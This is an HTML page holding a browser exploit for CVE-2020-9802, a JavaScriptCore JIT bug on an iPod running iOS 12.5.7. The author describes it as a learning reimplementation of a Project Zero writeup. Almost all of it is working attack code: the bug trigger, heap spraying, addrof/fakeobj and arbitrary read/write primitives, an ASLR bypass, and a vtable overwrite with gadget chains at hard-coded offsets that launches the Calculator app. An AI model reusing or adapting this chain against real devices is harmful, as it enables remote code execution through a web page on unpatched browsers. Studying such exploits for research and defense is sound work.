README.md
Rendering markdown...
<!--
exploit for CVE-2020-9802
original writeup -> https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html
This is an exploit for a JIT bug that i wanted to implement myself to learn about browser exploitation
on iOS. There's nothing new here, but maybe it'll be useful to you.
- this implementation is built specifically for iPod7,1 iOS 12.5.7, and uses hard-coded offsets
- we get code execution by replacing a vtable pointer (no PAC on this device)
- we jump to a short ROP chain to launch the calculator app
- video walkthrough -> https://www.youtube.com/watch?v=o6mVgygo-hk&t=34s
thanks,
~ @bellis1000
zygosec.com
-->
<html>
<head>
<script>
// Struct functions from https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/utils.js
// Simplified version of the similarly named python module.
let Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
let buffer = new ArrayBuffer(8);
let byteView = new Uint8Array(buffer);
let uint32View = new Uint32Array(buffer);
let float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
let view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
let view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
// my own helpers
function floatToHex(f) {
const buffer = new ArrayBuffer(8); // 64-bit float
const view = new DataView(buffer);
view.setFloat64(0, f); // store the float at offset 0
// Convert the 8 bytes to hex
let hex = '';
for (let i = 0; i < 8; i++) {
let byte = view.getUint8(i);
hex += byte.toString(16).padStart(2, '0');
}
return hex;
}
function hexToFloat(hex) {
if (hex.length !== 16) {
log('[!] hex string does not have 16 chars');
}
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
for (let i = 0; i < 8; i++) {
const byte = parseInt(hex.slice(i * 2, i * 2 + 2), 16);
view.setUint8(i, byte);
}
return view.getFloat64(0);
}
function floatToDecimal(f) {
const buffer = new ArrayBuffer(8); // 64-bit float
const view = new DataView(buffer);
view.setFloat64(0, f); // store the float at offset 0
let low = view.getUint32(0, false); // big endian: high part at offset 0
let high = view.getUint32(4, false); // low part at offset 4
return ((high << 32) | low);
}
function decimalToFloat(d) {
const hexHigh = d & 0xffffffff; // high 32 bits
const hexLow = (d >> 32) & 0xffffffff; // low 32 bits
// Create 8-byte buffer
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
// Write high and low 32 bits
view.setUint32(0, hexLow, false); // big endian: high part at offset 0
view.setUint32(4, hexHigh, false); // low part at offset 4
// Read as float64
const float = view.getFloat64(0, false);
return float;
}
function subtractFromFloat64Bits(floatVal, offset) {
const buffer = new ArrayBuffer(8); // 8 bytes for Float64
const view = new DataView(buffer);
// Store the float into the buffer (little-endian)
view.setFloat64(0, floatVal, true);
// Get low and high 32-bit words
let low = view.getUint32(0, true); // lower 4 bytes
let high = view.getUint32(4, true); // upper 4 bytes
// Subtract offset from low word
if (low < offset) {
// Borrow from high
high -= 1;
low = (0x100000000 + low) - offset;
} else {
low -= offset;
}
// Wrap to 32-bit unsigned integers
low = low >>> 0;
high = high >>> 0;
// Write back the modified words
view.setUint32(0, low, true);
view.setUint32(4, high, true);
// Read the modified float
return view.getFloat64(0, true);
}
function addToFloat64Bits(floatVal, offset) {
const buffer = new ArrayBuffer(8); // 8 bytes for Float64
const view = new DataView(buffer);
// Store the float into the buffer
view.setFloat64(0, floatVal, true); // little-endian
// Get low and high 32-bit words
let low = view.getUint32(0, true); // lower 4 bytes
let high = view.getUint32(4, true); // upper 4 bytes
// Add offset to low word
low += offset;
// Handle overflow into high word
if (low > 0xFFFFFFFF) {
low = low >>> 0; // force 32-bit wraparound
high += 1;
}
// Write back the modified words
view.setUint32(0, low, true);
view.setUint32(4, high, true);
// Read the modified float
return view.getFloat64(0, true);
}
function log(string) {
document.getElementById('status').innerHTML += '<p style="margin: 0; font-family: Menlo; word-break: break-all; font-size: 30px; text-align: left">' + string + '</p>';
}
// the actual exploit
const ITERATIONS = 1000000;
// this is the bug trigger: CVE-2020-9802
function hax(arr, n) {
n &= 0xffffffff;
if (n < -1) {
let v = (-n)&0xffffffff;
let i = Math.abs(n);
if (i < arr.length) {
if (i & 0x80000000) {
i += -0x7ffffff9;
}
if (i > 0) {
arr[i] = 1.04380972981885e-310;
}
}
}
}
function prep_primitives() {
let noCoW = 13.37;
// Fill any existing holes in the heap.
let spray = [];
for (let i = 0; i < 10000; i++) {
let arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
spray.push(arr);
}
let target = [noCoW, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7];
let float_arr = [noCoW, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7];
let obj_arr = [{}, {}, {}, {}, {}, {}, {}];
for (let i = 0; i < ITERATIONS; i++) {
let isLastIteration = i == ITERATIONS - 1;
let n = -(i % 10);
if (isLastIteration) {
n = -2147483648;
}
hax(target, n);
}
log('[+] float_arr JSArray len is 0x' + float_arr.length.toString(16));
// (OOB) index into float_arr that overlaps with the first element
// of obj_arr.
const OVERLAP_IDX = 8;
function addrof(obj) {
obj_arr[0] = obj;
return float_arr[OVERLAP_IDX];
}
function fakeobj(addr) {
float_arr[OVERLAP_IDX] = addr;
return obj_arr[0];
}
log('[+] addrof target is 0x' + floatToHex(addrof(target)));
log('[+] addrof float_arr is 0x' + floatToHex(addrof(float_arr)));
log('[+] addrof obj_arr is 0x' + floatToHex(addrof(obj_arr)));
log('[+] addrof hax is 0x' + floatToHex(addrof(hax)));
return [addrof, fakeobj];
}
function poc() {
let [addrof, fakeobj] = prep_primitives();
// Create a legit, non-CoW float array to copy a JSCell header from.
let float_arr = [Math.random(), 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
// Now fake a JSArray whose butterfly points to an unboxed double JSArray.
let jscell_header = new Uint8Array(
[
0x0, 0x10, 0x0, 0x0, // structure id
0x7, // m_indexingType (ArrayWithDouble)
0x23, 0x8, 0x1,
]
);
let container = {
jscell_header: Struct.unpack(Struct.float64, jscell_header),
butterfly: float_arr, // backing storage points to a real JSArray
};
let container_addr = addrof(container);
log('[+] container_addr is 0x' + floatToHex(container_addr));
let float_arr_addr = addToFloat64Bits(container_addr, 0x10);
log('[+] float_arr member is 0x' + floatToHex(float_arr_addr));
// now fake an object from our container
let fake_arr = fakeobj(float_arr_addr);
log('[+] addrof fake_arr 0x' + floatToHex(addrof(fake_arr)));
// Can now simply read a legitimate JSCell header and use it.
// However, the op_get_by_val will cache the last seen structure id
// and use that e.g. during GC. To avoid crashing at that point,
// // we simply execute the op_get_by_val twice.
let legit_arr = float_arr;
let results = [];
for (let i = 0; i < 2; i++) {
let a = i == 0 ? fake_arr : legit_arr;
results.push(a[0]);
}
// read an index quickly, bypassing structure id requirement in this case
jscell_header = fake_arr[0]; // fake_arr[0] reads the first 64-bits from the float_arr object
// this gives us a valid structure id for future use
log('[+] leaked struct id 0x' + floatToHex(jscell_header));
container.jscell_header = jscell_header; // we assign those bits to our fake container, now it has a valid structure id
log('[+] r/w primitives established');
// arb r/w functions, thanks @saelo
let controller = fake_arr;
let memarr = float_arr;
function read64(addr) {
let oldval = controller[1];
let value;
let i = 0;
do {
controller[1] = addr;
value = memarr[i];
addr = subtractFromFloat64Bits(addr, 8);
i+=1;
} while (value === undefined);
controller[1] = oldval;
return value;
}
function write64(addr, data) {
let oldval = controller[1];
let value;
let i = 0;
do {
controller[1] = addr;
value = memarr[i];
addr = subtractFromFloat64Bits(addr, 8);
i+=1;
} while (value === undefined);
// set the value
memarr[i-1] = data;
controller[1] = oldval;
}
// aslr bypass
let funcAddr = addrof(Math.exp);
log('[+] Math.exp is @ 0x' + floatToHex(funcAddr));
let executableAddr = read64(addToFloat64Bits(funcAddr, 24));
log("[+] Executable instance @ 0x" + floatToHex(executableAddr));
let textPtr = read64(addToFloat64Bits(executableAddr, 56));
log("[+] textPtr @ 0x" + floatToHex(textPtr));
let jsc_base = subtractFromFloat64Bits(textPtr, 0xA49660); // to get to JSC base
log("[+] jsc_base @ 0x" + floatToHex(jsc_base));
let STATIC_JSC_BASE = 0x18805d000; // static iPod 6 iOS 12.4.7
let aslr_slide = subtractFromFloat64Bits(jsc_base, STATIC_JSC_BASE);
log("[+] dyld aslr slide is 0x" + floatToHex(aslr_slide));
// prepare code execution
// this div element is backed by a WebCore C++ object
// which we'll later abuse
let div_object = document.createElement('div');
log('[+] created div');
let div_addr = addrof(div_object);
log('[+] div_object @ 0x' + floatToHex(div_addr));
let next_addr = read64(addToFloat64Bits(div_addr, 0x18)); // the `this` object that the vtable method gets called on
log('[+] cpp object is @ 0x' + floatToHex(next_addr)); // WebCore::HTMLDivElement cpp object
var vtab_addr = read64(next_addr); // WebCore`vtable for WebCore::HTMLDivElement
log('[+] vtab_addr is @ 0x' + floatToHex(vtab_addr));
// prep some JOP stuff
let gadget_2 = 0x1898A3AC4;
// WebCore:__text:00000001898A3AC4 LDR X0, [X0,#0x10]
// WebCore:__text:00000001898A3AC8 ADRL X8, __ZN3PAL49softLinkCoreMediaCMSampleBufferGetTotalSampleSizeE ; PAL::softLinkCoreMediaCMSampleBufferGetTotalSampleSize
// WebCore:__text:00000001898A3AD0 LDR X1, [X8] ; PAL::initCoreMediaCMSampleBufferGetTotalSampleSize(opaqueCMSampleBuffer *)
// WebCore:__text:00000001898A3AD0 ; PAL::softLinkCoreMediaCMSampleBufferGetTotalSampleSize
// WebCore:__text:00000001898A3AD4 BR X1
let slid_gadget_2 = addToFloat64Bits(hexToFloat(gadget_2.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
log('[+] slid_gadget_2 @ 0x' + floatToHex(slid_gadget_2));
let webcore_data = 0x1B7AA4BD0;
let slid_webcore_data = addToFloat64Bits(hexToFloat(webcore_data.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
// we want to call SBSLaunchApplicationWithIdentifer, which opens an app of our choosing
//
// there's a nice gadget in the shared cache that nulls the 2nd arg and jumps to it
//
// (you also need entitlement com.apple.springboard.launchapplications for this to work, so of course i cheated
// a slight bit and gave it to the WebContent process lol. but who cares, this project was about learning
// browser exploitation for me, not about executing a real postexp / chaining anything)
// thanks to ProjectZero -> https://googleprojectzero.blogspot.com/2020/12/an-ios-zero-click-radio-proximity.html
//
// CommunicationsSetupUI:__text:000000019B60E498 MOV W1, #0
// CommunicationsSetupUI:__text:000000019B60E49C BL 0x197B37AE8
let tramp_sblaunchapp = 0x19B60E498;
let slid_tramp_sblaunchapp = addToFloat64Bits(hexToFloat(tramp_sblaunchapp.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
write64(slid_webcore_data, slid_tramp_sblaunchapp);
// there's already a nice cfstring with the calculator bundle id in dyld shared cache
// no need to construct our own
//
// CoreFoundation:__cfstring:00000001B03C7838 cfstr_ComAppleCalcul __CFString <_OBJC_CLASS_$___NSCFConstantString, 0x7C8, \
let static_calc = 0x1B03C7838;
let calculator_str = addToFloat64Bits(hexToFloat(static_calc.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
write64(addToFloat64Bits(next_addr, 0x10), calculator_str);
write64(addToFloat64Bits(vtab_addr, 0x18), slid_gadget_2);
write64(addToFloat64Bits(vtab_addr, 0x20), slid_gadget_2);
write64(addToFloat64Bits(vtab_addr, 0x28), decimalToFloat(0x4444444444));
write64(addToFloat64Bits(vtab_addr, 0x30), decimalToFloat(0x4545454545));
write64(addToFloat64Bits(vtab_addr, 0x38), decimalToFloat(0x4646464646));
write64(addToFloat64Bits(vtab_addr, 0x40), decimalToFloat(0x4747477474));
// trigger pc control, invoking a vtable method on WebCore::HTMLDivElement
// (comment out this line to see the logs in the browser)
div_object.addEventListener("click", function(){ });
}
</script>
</head>
<body>
<center>
<br></br>
<button style="background:none; border: none; font-size: 100px; text-decoration: none; font-family: Helvetica" onclick="poc()">do exploit</button>
<br></br>
<br></br>
<div id="status">
</div>
</center>
</body>
</html>